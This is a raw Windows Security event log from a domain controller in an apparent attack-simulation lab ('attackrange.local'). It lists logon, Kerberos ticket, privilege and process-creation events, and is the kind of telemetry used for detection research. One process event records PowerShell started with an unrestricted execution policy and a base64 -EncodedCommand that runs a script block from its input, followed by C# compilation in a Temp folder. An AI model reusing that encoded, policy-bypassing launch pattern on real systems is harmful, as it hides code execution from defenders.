	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253345
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253344
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253343
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253342
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4E69

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253341
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4E69

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253340
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4E69
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253339
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253338
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253337
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253336
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19F169

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253335
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19E95B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253334
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D615

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253376
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AA018

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253375
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AA018
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{596E65B8-2C2F-5905-CB83-396ABF100311}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253374
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{596E65B8-2C2F-5905-CB83-396ABF100311}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253373
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{596E65B8-2C2F-5905-CB83-396ABF100311}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253372
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253371
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12dc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253370
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1064
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253389
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x480
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4d4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESE9DA.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC646DA5625031486685D7A5AA4851F6F.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253388
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12dc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\tlz5llsh.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253387
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xae4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10a0
	Creator Process Name:	C:\Windows\System32\SIHClient.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253386
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13d8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf90
	Creator Process Name:	C:\Windows\System32\UsoClient.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253385
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Windows\System32\wsqmcons.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\wsqmcons.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
